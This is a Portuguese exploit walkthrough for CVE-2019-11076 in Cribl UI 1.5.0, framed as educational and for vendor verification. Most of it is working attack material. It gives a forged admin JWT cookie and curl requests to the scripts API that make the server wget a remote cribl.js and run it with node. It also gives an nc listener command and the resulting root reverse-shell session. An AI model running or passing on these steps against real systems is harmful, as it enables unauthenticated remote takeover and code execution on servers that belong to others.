
CVE-2019-11076 - Cribl UI 1.5.0 permite que atacantes remotos executem comandos arbitrários por meio de uma solicitação web não autenticada.
Isto é apenas para fins informativos/educacionais.
Isto foi elaborado para demonstrar uma vulnerabilidade na ferramenta, para que uma correção possa ser verificada pelo fornecedor.
Testado no Cribl v1.5.0 - Versões anteriores não testadas, mas provavelmente vulneráveis.
Um token JWT válido pode ser transferido e injetado na sessão de outra instância do Cribl, concedendo ao utilizador acesso não autorizado.
Além disso, a chave de encriptação utilizada para gerar o JWT/Sessão pode ser usada para criar uma sessão válida para qualquer nome de utilizador, com validade alargada.
Isto, combinado com a capacidade de executar scripts no Cribl, permite que um atacante remoto execute código malicioso numa instância do Cribl para obter maior controlo.
Um exemplo disso pode ser visto abaixo: usando a página de scripts e um token JWT de longa validade, foi possível criar uma reverse shell.
Testado usando Docker (Alpine).
Primeiro, modifique (o nome do host remoto) e carregue o seu shell.js para o seu servidor web. O ficheiro contém código NodeJS para criar uma reverse shell para o seu website.
O servidor deve ter acesso de rede de saída para o seu host/porta remotos.
Em segundo lugar, configure um listener no seu host remoto, na porta correspondente ao shell.js:
nc -lvp 6669
Ajuste os seguintes comandos curl com o seu ficheiro remoto.
Execute os comandos CURL por ordem; os resultados devem corresponder aproximadamente aos exemplos abaixo.
curl 'http://CRIBL_URL:9000/api/v1/system/scripts' \
-H 'Content-Type: application/json' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{"id":"runme","command":"/usr/bin/wget","args":["http://yourURL/cribl.js","-P","/opt"],"env":{}}' --compressed
"count":1,"items":[{"command":"/usr/bin/wget","args":["http://yourURL/cribl.js","-P","/opt"],"env":{},"id":"runme"}]
curl 'http://CRIBL_URL:9000/api/v1/system/scripts/runme/run' \
-H 'Content-Type: application/json' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNTU0OTUyMTU5fQ.W4YDcUJhshv2R25UcumlP4H-2vaCIiJL0hME4eZFIW0' \
--data-binary '{}' --compressed
{"pid":414,"stdout":"N/A","stderr":"N/A"}
curl 'http://CRIBL_URL:9000/api/v1/system/scripts' \
-H 'Content-Type: application/json'\
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{"id":"reverseit","command":"node","args":["/opt/cribl.js"],"env":{}}' --compressed
"count":1,"items":[{"command":"node","args":["/opt/cribl.js"],"env":{},"id":"reverseit"}]}
curl 'http://CRIBL_URL:9000/api/v1/system/scripts/reverseit/run' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{}' --compressed
{"pid":353,"stdout":"N/A","stderr":"N/A"}
Listening on [0.0.0.0] (family 0, port 6669)
Connection from [188.29.XXX.XXX] port 6669 [tcp/*] accepted (family 2, sport 13720)
> whoami
< root
> ls /
< bin
< dev
< etc
< home
< lib
...